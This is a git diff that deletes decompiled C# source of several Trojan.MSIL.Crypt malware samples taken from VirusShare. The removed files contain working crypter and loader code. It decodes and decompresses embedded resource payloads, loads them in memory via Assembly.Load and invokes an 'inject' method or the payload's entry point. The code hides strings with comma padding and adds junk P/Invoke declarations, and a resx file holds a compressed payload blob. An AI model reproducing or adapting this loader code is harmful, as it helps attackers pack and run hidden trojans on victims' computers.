C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.fd-612a3154c1a311640263e610ddcd7dd90666eb6402b53aae05d2ebb7be08b5f3.exe - -using Microsoft.VisualBasic.CompilerServices; - -[StandardModule] -internal sealed class ďĩįĵĭđĢ -{ - public static byte[] ĬĨĐĥĄĄĥĮāģĵĢĺĐıđģĕįĖĴĥ(byte[] ÌÏÏ) - { - byte[] numArray = new byte[checked (ÌÏÏ.Length - 4 + 1)]; - int num1 = (int) ÌÏÏ[0]; - int num2 = checked (ÌÏÏ.Length - 1); - int index = 3; - while (index <= num2) - { - if (num1 == (int) ÌÏÏ[1] | num1 > (int) ÌÏÏ[1]) - num1 = (int) ÌÏÏ[0]; - int num3 = checked ((int) ÌÏÏ[index] - num1); - if (num3 < 0) - checked { num3 += 256; } - if (num3 > (int) byte.MaxValue) - checked { num3 -= 256; } - numArray[checked (index - 3)] = checked ((byte) num3); - checked { num1 += 1 + (int) ÌÏÏ[2]; } - checked { ++index; } - } - return numArray; - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.fd-612a3154c1a311640263e610ddcd7dd90666eb6402b53aae05d2ebb7be08b5f3/ĒĔİĒĕ.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.fd-612a3154c1a311640263e610ddcd7dd90666eb6402b53aae05d2ebb7be08b5f3/ĒĔİĒĕ.cs deleted file mode 100644 index df248a29..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.fd-612a3154c1a311640263e610ddcd7dd90666eb6402b53aae05d2ebb7be08b5f3/ĒĔİĒĕ.cs +++ /dev/null @@ -1,29 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ĒĔİĒĕ -// Assembly: Yazilix, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: E6A2B04D-16B8-445D-A398-7A2EC42B2041 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.fd-612a3154c1a311640263e610ddcd7dd90666eb6402b53aae05d2ebb7be08b5f3.exe - -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Collections; -using System.Reflection; -using System.Resources; - -[StandardModule] -internal sealed class ĒĔİĒĕ -{ - public static object ĕĮĤĦĕĵĚ() - { - ResourceManager resourceManager = new ResourceManager(",,,,,,,,,,,E,,,,,S,,,,,C,,,,r,,,,,,,,y,,,,,p,,,t,,,,,,,e,,,r,,,".Replace(",", ""), Assembly.GetExecutingAssembly()); - new ArrayList() { (object) "hawhwhawwayawyhaedhxxhfhfx" }; - byte[] rawAssembly = ģĚĥĂĈďijćĆĕĢĤēijĈĂĭ.įĴıăēĨİıĂĖĒĶĺ(ďĩįĵĭđĢ.ĬĨĐĥĄĄĥĮāģĵĢĺĐıđģĕįĖĴĥ(Convert.FromBase64String(Conversions.ToString(resourceManager.GetObject("Reflect"))))); - byte[] numArray = ģĚĥĂĈďijćĆĕĢĤēijĈĂĭ.įĴıăēĨİıĂĖĒĶĺ(ďĩįĵĭđĢ.ĬĨĐĥĄĄĥĮāģĵĢĺĐıđģĕįĖĴĥ(Convert.FromBase64String(Conversions.ToString(resourceManager.GetObject(",,,x,,,,,,C,,,,,o,,,,,,,,,,,,,,c,,,,,,,a,,,i,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,n,e,".Replace(",", "")))))); - Assembly.Load(rawAssembly).GetType("W,,,,i,n,,,,,,,,,,d,,,ow,,,s,,,,,A,p,,,pl,,i,,,,c,,,,,at,,io,,,,n,,,2,,,,.m,,,od,,,u,l,,,e,1,,,".Replace(",", "")).GetMethod(",,,,i,,,,,n,,,,j,,,,e,c,t,,".Replace(",", "")).Invoke((object) null, new object[1] - { - (object) new ArrayList() { (object) numArray } - }); - object obj; - return obj; - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.fd-612a3154c1a311640263e610ddcd7dd90666eb6402b53aae05d2ebb7be08b5f3/ģĚĥĂĈďijćĆĕĢĤēijĈĂĭ.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.fd-612a3154c1a311640263e610ddcd7dd90666eb6402b53aae05d2ebb7be08b5f3/ģĚĥĂĈďijćĆĕĢĤēijĈĂĭ.cs deleted file mode 100644 index f73dfb78..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.fd-612a3154c1a311640263e610ddcd7dd90666eb6402b53aae05d2ebb7be08b5f3/ģĚĥĂĈďijćĆĕĢĤēijĈĂĭ.cs +++ /dev/null @@ -1,32 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ģĚĥĂĈďijćĆĕĢĤēijĈĂĭ -// Assembly: Yazilix, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: E6A2B04D-16B8-445D-A398-7A2EC42B2041 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.fd-612a3154c1a311640263e610ddcd7dd90666eb6402b53aae05d2ebb7be08b5f3.exe - -using Microsoft.VisualBasic.CompilerServices; -using System.IO; -using System.IO.Compression; - -[StandardModule] -internal sealed class ģĚĥĂĈďijćĆĕĢĤēijĈĂĭ -{ - public static byte[] įĴıăēĨİıĂĖĒĶĺ(byte[] ÂÄÀ) - { - MemoryStream memoryStream1 = new MemoryStream(ÂÄÀ); - MemoryStream memoryStream2 = new MemoryStream(); - DeflateStream deflateStream = new DeflateStream((Stream) memoryStream1, CompressionMode.Decompress); - byte[] numArray = new byte[1024]; - while (true) - { - int count = deflateStream.Read(numArray, 0, 1024); - if (count != 0) - memoryStream2.Write(numArray, 0, count); - else - break; - } - deflateStream.Close(); - memoryStream2.Close(); - return memoryStream2.ToArray(); - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.fxo-621b7858e71aa20ea71f1f491bcaf9435e9ac472b17525dfc53747d223674acb/AssemblyInfo.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.fxo-621b7858e71aa20ea71f1f491bcaf9435e9ac472b17525dfc53747d223674acb/AssemblyInfo.cs deleted file mode 100644 index 1e886428..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.fxo-621b7858e71aa20ea71f1f491bcaf9435e9ac472b17525dfc53747d223674acb/AssemblyInfo.cs +++ /dev/null @@ -1,3 +0,0 @@ -using System.Reflection; - -[assembly: AssemblyVersion("0.0.0.0")] diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.fxo-621b7858e71aa20ea71f1f491bcaf9435e9ac472b17525dfc53747d223674acb/MyApplication.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.fxo-621b7858e71aa20ea71f1f491bcaf9435e9ac472b17525dfc53747d223674acb/MyApplication.cs deleted file mode 100644 index cb34ad9f..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.fxo-621b7858e71aa20ea71f1f491bcaf9435e9ac472b17525dfc53747d223674acb/MyApplication.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyApplication -// Assembly: done, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: A69B6AA6-B9E8-43FA-9638-4048BEC3E938 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.fxo-621b7858e71aa20ea71f1f491bcaf9435e9ac472b17525dfc53747d223674acb.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System.CodeDom.Compiler; -using System.ComponentModel; - -namespace My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal class MyApplication : ApplicationBase - { - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.fxo-621b7858e71aa20ea71f1f491bcaf9435e9ac472b17525dfc53747d223674acb/MyComputer.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.fxo-621b7858e71aa20ea71f1f491bcaf9435e9ac472b17525dfc53747d223674acb/MyComputer.cs deleted file mode 100644 index aa1326fc..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.fxo-621b7858e71aa20ea71f1f491bcaf9435e9ac472b17525dfc53747d223674acb/MyComputer.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyComputer -// Assembly: done, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: A69B6AA6-B9E8-43FA-9638-4048BEC3E938 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.fxo-621b7858e71aa20ea71f1f491bcaf9435e9ac472b17525dfc53747d223674acb.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyComputer : Computer - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyComputer() - { - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.fxo-621b7858e71aa20ea71f1f491bcaf9435e9ac472b17525dfc53747d223674acb/MyProject.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.fxo-621b7858e71aa20ea71f1f491bcaf9435e9ac472b17525dfc53747d223674acb/MyProject.cs deleted file mode 100644 index 2bbeaff2..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.fxo-621b7858e71aa20ea71f1f491bcaf9435e9ac472b17525dfc53747d223674acb/MyProject.cs +++ /dev/null @@ -1,108 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyProject -// Assembly: done, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: A69B6AA6-B9E8-43FA-9638-4048BEC3E938 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.fxo-621b7858e71aa20ea71f1f491bcaf9435e9ac472b17525dfc53747d223674acb.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [StandardModule] - [HideModuleName] - internal sealed class MyProject - { - private static readonly MyProject.ThreadSafeObjectProvider m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider(); - - [HelpKeyword("My.Computer")] - internal static MyComputer Computer - { - [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance; - } - - [HelpKeyword("My.Application")] - internal static MyApplication Application - { - [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance; - } - - [HelpKeyword("My.User")] - internal static User User - { - [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance; - } - - [HelpKeyword("My.WebServices")] - internal static MyProject.MyWebServices WebServices - { - [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance; - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - internal sealed class MyWebServices - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - internal new Type GetType() => typeof (MyProject.MyWebServices); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - - [DebuggerHidden] - private static T Create__Instance__(T instance) where T : new() => (object) instance == null ? new T() : instance; - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) => instance = default (T); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyWebServices() - { - } - } - - [ComVisible(false)] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class ThreadSafeObjectProvider where T : new() - { - internal T GetInstance - { - [DebuggerHidden] get - { - if ((object) MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue == null) - MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue = new T(); - return MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue; - } - } - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public ThreadSafeObjectProvider() - { - } - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.fxo-621b7858e71aa20ea71f1f491bcaf9435e9ac472b17525dfc53747d223674acb/OEXKgAoqBomGpBu.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.fxo-621b7858e71aa20ea71f1f491bcaf9435e9ac472b17525dfc53747d223674acb/OEXKgAoqBomGpBu.cs deleted file mode 100644 index e44c457c..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.fxo-621b7858e71aa20ea71f1f491bcaf9435e9ac472b17525dfc53747d223674acb/OEXKgAoqBomGpBu.cs +++ /dev/null @@ -1,82 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: OEXKgAoqBomGpBu -// Assembly: done, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: A69B6AA6-B9E8-43FA-9638-4048BEC3E938 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.fxo-621b7858e71aa20ea71f1f491bcaf9435e9ac472b17525dfc53747d223674acb.exe - -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Reflection; -using System.Resources; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Text; - -[StandardModule] -public sealed class OEXKgAoqBomGpBu -{ - [DllImport("WMgiKnEVnRKwvAv", EntryPoint = "pSiyOhIlvVvOEXK.dll", CharSet = CharSet.Auto, SetLastError = true)] - public static extern void WvsUcdWSzzuZxJrkMjeuUxksTWNzLNXypbZCtgoDexHoeLbIIUAcgcqddEUP( - Type gAoqBom, - int GpBuYme, - int tSyaloG); - - [DllImport("WPntMqNrGCelXZp", EntryPoint = "MeZlCWbuXhyVaxr.dll", CharSet = CharSet.Auto, SetLastError = true)] - public static extern void BBVwbYDjTRZVMKhYbiJLdHXitFqmmwpvNkBcFfFNLaXjqskfnJtdfbCJzxwo( - Type rJJkmFg, - int OfDrhtw, - int CfaIjEO); - - [DllImport("NzLNXypbZCtgoDe", EntryPoint = "xHoeLbIIUAcgcqd.dll", CharSet = CharSet.Auto, SetLastError = true)] - public static extern void THuiRTGsLcDknLqHxjjgzyNyAaVshlaPsKWvsUcdWSzzuZxJrkMjeuUxksTW( - Type dEUPWMg, - int iKnEVnR, - int KwvAvpS); - - [DllImport("qmmwpvNkBcFfFNL", EntryPoint = "aXjqskfnJtdfbCJ.dll", CharSet = CharSet.Auto, SetLastError = true)] - public static extern void iyOhIlvVvOEXKgAoqBomGpBuYmetSyaloGBBVwbYDjTRZVMKhYbiJLdHXitF( - Type zxwoWPn, - int tMqNrGC, - int elXZpMe); - - [DllImport("VshlaPsKWvsUcdW", EntryPoint = "SzzuZxJrkMjeuUx.dll", CharSet = CharSet.Auto, SetLastError = true)] - public static extern void ZlCWbuXhyVaxrrJJkmFgOfDrhtwCfaIjEOTHuiRTGsLcDknLqHxjjgzyNyAa( - Type ksTWNzL, - int NXypbZC, - int tgoDexH); - - public static void YDjTRZVMKhYbiJL() => Assembly.Load(YmetSyaloGBBVwb.qHxjjgzyNyAaVsh((byte[]) NewLateBinding.LateGet((object) Encoding.Default, (Type) null, "GetBytes", new object[1] - { - RuntimeHelpers.GetObjectValue(new ResourceManager("zCom", Assembly.GetExecutingAssembly()).GetObject("zCom")) - }, (string[]) null, (Type[]) null, (bool[]) null))).EntryPoint.Invoke((object) null, (object[]) null); - - [DllImport("etSyaloGBBVwbYD", EntryPoint = "jTRZVMKhYbiJLdH.dll", CharSet = CharSet.Auto, SetLastError = true)] - public static extern void oeLbIIUAcgcqddEUPWMgiKnEVnRKwvAvpSiyOhIlvVvOEXKgAoqBomGpBuYm( - Type XitFqmm, - int wpvNkBc, - int FfFNLaX); - - [DllImport("wCfaIjEOTHuiRTG", EntryPoint = "sLcDknLqHxjjgzy.dll", CharSet = CharSet.Auto, SetLastError = true)] - public static extern void jqskfnJtdfbCJzxwoWPntMqNrGCelXZpMeZlCWbuXhyVaxrrJJkmFgOfDrht( - Type NyAaVsh, - int laPsKWv, - int sUcdWSz); - - [DllImport("RKwvAvpSiyOhIlv", EntryPoint = "VvOEXKgAoqBomGp.dll", CharSet = CharSet.Auto, SetLastError = true)] - public static extern void zuZxJrkMjeuUxksTWNzLNXypbZCtgoDexHoeLbIIUAcgcqddEUPWMgiKnEVn( - Type BuYmetS, - int yaloGBB, - int VwbYDjT); - - [DllImport("CelXZpMeZlCWbuX", EntryPoint = "hyVaxrrJJkmFgOf.dll", CharSet = CharSet.Auto, SetLastError = true)] - public static extern void RZVMKhYbiJLdHXitFqmmwpvNkBcFfFNLaXjqskfnJtdfbCJzxwoWPntMqNrG( - Type DrhtwCf, - int aIjEOTH, - int uiRTGsL); - - [DllImport("CtgoDexHoeLbIIU", EntryPoint = "AcgcqddEUPWMgiK.dll", CharSet = CharSet.Auto, SetLastError = true)] - public static extern void cDknLqHxjjgzyNyAaVshlaPsKWvsUcdWSzzuZxJrkMjeuUxksTWNzLNXypbZ( - Type nEVnRKw, - int vAvpSiy, - int OhIlvVv); -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.fxo-621b7858e71aa20ea71f1f491bcaf9435e9ac472b17525dfc53747d223674acb/Trojan.MSIL.Crypt.fxo.csproj b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.fxo-621b7858e71aa20ea71f1f491bcaf9435e9ac472b17525dfc53747d223674acb/Trojan.MSIL.Crypt.fxo.csproj deleted file mode 100644 index b86c082d..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.fxo-621b7858e71aa20ea71f1f491bcaf9435e9ac472b17525dfc53747d223674acb/Trojan.MSIL.Crypt.fxo.csproj +++ /dev/null @@ -1,48 +0,0 @@ - - - - - Debug - AnyCPU - {FCBF8B48-A34A-481A-A700-5A3E2B3033C8} - WinExe - done - 0.0.0.0 - My - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.fxo-621b7858e71aa20ea71f1f491bcaf9435e9ac472b17525dfc53747d223674acb/Trojan.MSIL.Crypt.fxo.sln b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.fxo-621b7858e71aa20ea71f1f491bcaf9435e9ac472b17525dfc53747d223674acb/Trojan.MSIL.Crypt.fxo.sln deleted file mode 100644 index 47f6e08f..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.fxo-621b7858e71aa20ea71f1f491bcaf9435e9ac472b17525dfc53747d223674acb/Trojan.MSIL.Crypt.fxo.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "done", "Trojan.MSIL.Crypt.fxo-621b7858e71aa20ea71f1f491bcaf9435e9ac472b17525dfc53747d223674acb.csproj", "{FCBF8B48-A34A-481A-A700-5A3E2B3033C8}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {FCBF8B48-A34A-481A-A700-5A3E2B3033C8}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {FCBF8B48-A34A-481A-A700-5A3E2B3033C8}.Debug|Any CPU.Build.0 = Debug|Any CPU - {FCBF8B48-A34A-481A-A700-5A3E2B3033C8}.Release|Any CPU.ActiveCfg = Release|Any CPU - {FCBF8B48-A34A-481A-A700-5A3E2B3033C8}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.fxo-621b7858e71aa20ea71f1f491bcaf9435e9ac472b17525dfc53747d223674acb/YmetSyaloGBBVwb.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.fxo-621b7858e71aa20ea71f1f491bcaf9435e9ac472b17525dfc53747d223674acb/YmetSyaloGBBVwb.cs deleted file mode 100644 index 9195ef58..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.fxo-621b7858e71aa20ea71f1f491bcaf9435e9ac472b17525dfc53747d223674acb/YmetSyaloGBBVwb.cs +++ /dev/null @@ -1,60 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: YmetSyaloGBBVwb -// Assembly: done, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: A69B6AA6-B9E8-43FA-9638-4048BEC3E938 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.fxo-621b7858e71aa20ea71f1f491bcaf9435e9ac472b17525dfc53747d223674acb.exe - -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.IO; -using System.IO.Compression; - -[StandardModule] -public sealed class YmetSyaloGBBVwb -{ - [STAThread] - public static void Main() => OEXKgAoqBomGpBu.YDjTRZVMKhYbiJL(); - - public static byte[] qHxjjgzyNyAaVsh(byte[] laPsKWvsUcdWSzz) - { - byte[] numArray; - try - { - numArray = YmetSyaloGBBVwb.uZxJrkMjeuUxksT((Stream) new DeflateStream((Stream) new MemoryStream(laPsKWvsUcdWSzz), CompressionMode.Decompress, true), laPsKWvsUcdWSzz.Length); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - numArray = (byte[]) null; - ProjectData.ClearProjectError(); - } - return numArray; - } - - public static byte[] uZxJrkMjeuUxksT(Stream WNzLNXypbZCtgoD, int exHoeLbIIUAcgcq) - { - int offset = 0; - byte[] numArray1; - try - { - byte[] numArray2; - while (true) - { - numArray2 = (byte[]) Utils.CopyArray((Array) numArray2, (Array) new byte[checked (offset + exHoeLbIIUAcgcq + 1)]); - int num = WNzLNXypbZCtgoD.Read(numArray2, offset, exHoeLbIIUAcgcq); - if (num != 0) - checked { offset += num; } - else - break; - } - numArray1 = (byte[]) Utils.CopyArray((Array) numArray2, (Array) new byte[checked (offset - 1 + 1)]); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - numArray1 = (byte[]) null; - ProjectData.ClearProjectError(); - } - return numArray1; - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.fxo-621b7858e71aa20ea71f1f491bcaf9435e9ac472b17525dfc53747d223674acb/zCom.resx b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.fxo-621b7858e71aa20ea71f1f491bcaf9435e9ac472b17525dfc53747d223674acb/zCom.resx deleted file mode 100644 index ac5df3ac..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.fxo-621b7858e71aa20ea71f1f491bcaf9435e9ac472b17525dfc53747d223674acb/zCom.resx +++ /dev/null @@ -1,133 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - í½`I–%&/mÊ{JõJ×àt¡€`$ؐ@ìÁˆÍæ’ìiG#)«*ÊeVe]f@Ì흼÷Ş{ï½÷Ş{ï½÷º;N'÷ßÿ?\fdlöÎJÚɞ!€ªÈ?~|?"¾ø©?é×øµ_ã×øuèÿÿ÷ÿıküׯ!Ïï©?7=ıÿ7ù]şžßä×øÛ~ìŸÿ]ÿ®_óù?ÿ»¾™Mºª«‹:[¤Ól¹¬Út’§õz™Ëôé—¯ÓE5ËÇ¿ñoœün -ãåé¯ñk<ÿ5í_ãwÙù÷_¸ÿѯñkıš¿á¯ùü¿Æÿğkş¿Æ¯'Ÿı~¿Ñ¯õkü)ı’ÒO`‡ß-Áùùkü¿Žç×ú5~Ï?ü×ø5~3şŸûiğóÜ×ø…àşUú^ğüž¿Ö¯ñE>¾ñI ¶÷ço@Ûû{ÜæïZú9ûï~M ÆÚéŸ>şÆuSOéwÆ cÇ@ÿ§_3h÷{ÒÿÆu^VԐqı=•¿¼×îIğ>û¤Óoÿxå×ı5~«ÿæ×ü5~ùïúk0OüæDıßóίñkükÿPgÓó ~­-jœ|‹~ş:øùW44ÉDŸı:ͯß0„æ7Ào¿6~û1üF-oı¿Æo¹ókş¿!Á Æ¿ù/ÅUöó_ Ÿãıê7 >ÿµñ9 U¿Qğù¯ƒÏ»úõó_ë× ßh”¿ÆoşkıÚ[4¼dë·ào¤oÂìö›ÿZ[¿e�‡>ÿÍÿ%zé×Úú­ìçhûpÛßÚ~ö›Ñg?†Ïş8BşwÜşõ@‰O¾õk} ıâ;Íoşkÿ¿Æÿõ[Ó~Ç_ïÆ¿ Óo �xÿw¢6¿!pşíé“?î׌d‹Z}òáşÔkÿkÿ£_ƒçû7¯©ŸğøõZêâwü ‹_Ã’?’_ï·ı­¶~gúëâ_¼÷ëş{Ԟèğ›ÿ‚?şw bÿ–¿áoşş6¿íŸ÷›ÿ†¿íoGÿüv¿=ıóÛÿôÏïğ;Ò?¿ãïDÿüN¿3ıó;ÿúç·üõR̎¼÷ëz¿ÿú¿ÖËߦúÔÁoü›ÿzòËoùü6¿åıæ¿îoşc¿ùımŞoşëÓÏ_şÿ|ÿOşó~óûmÿ úêÇRR7¿Æî¿÷Ûü†Ôğ×GË?ùß@»?ùß`¸ßÿ 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a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gsi-21bf08ca91d2cb3e60b955c4e9d13e94b611afbb672d669d1a8e69e2a0c21400/Trojan.MSIL.Crypt.gsi.csproj b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gsi-21bf08ca91d2cb3e60b955c4e9d13e94b611afbb672d669d1a8e69e2a0c21400/Trojan.MSIL.Crypt.gsi.csproj deleted file mode 100644 index 1a7e67e8..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gsi-21bf08ca91d2cb3e60b955c4e9d13e94b611afbb672d669d1a8e69e2a0c21400/Trojan.MSIL.Crypt.gsi.csproj +++ /dev/null @@ -1,43 +0,0 @@ - - - - - Debug - AnyCPU - {6B693ECC-C30E-4570-8C6E-80F002BC488C} - WinExe - jvfB7Dghj3 - 0.0.0.0 - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gsi-21bf08ca91d2cb3e60b955c4e9d13e94b611afbb672d669d1a8e69e2a0c21400/Trojan.MSIL.Crypt.gsi.sln b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gsi-21bf08ca91d2cb3e60b955c4e9d13e94b611afbb672d669d1a8e69e2a0c21400/Trojan.MSIL.Crypt.gsi.sln deleted file mode 100644 index 8fb26a42..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gsi-21bf08ca91d2cb3e60b955c4e9d13e94b611afbb672d669d1a8e69e2a0c21400/Trojan.MSIL.Crypt.gsi.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "jvfB7Dghj3", "Trojan.MSIL.Crypt.gsi-21bf08ca91d2cb3e60b955c4e9d13e94b611afbb672d669d1a8e69e2a0c21400.csproj", "{6B693ECC-C30E-4570-8C6E-80F002BC488C}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {6B693ECC-C30E-4570-8C6E-80F002BC488C}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {6B693ECC-C30E-4570-8C6E-80F002BC488C}.Debug|Any CPU.Build.0 = Debug|Any CPU - {6B693ECC-C30E-4570-8C6E-80F002BC488C}.Release|Any CPU.ActiveCfg = Release|Any CPU - {6B693ECC-C30E-4570-8C6E-80F002BC488C}.Release|Any CPU.Build.0 = Release|Any CPU - 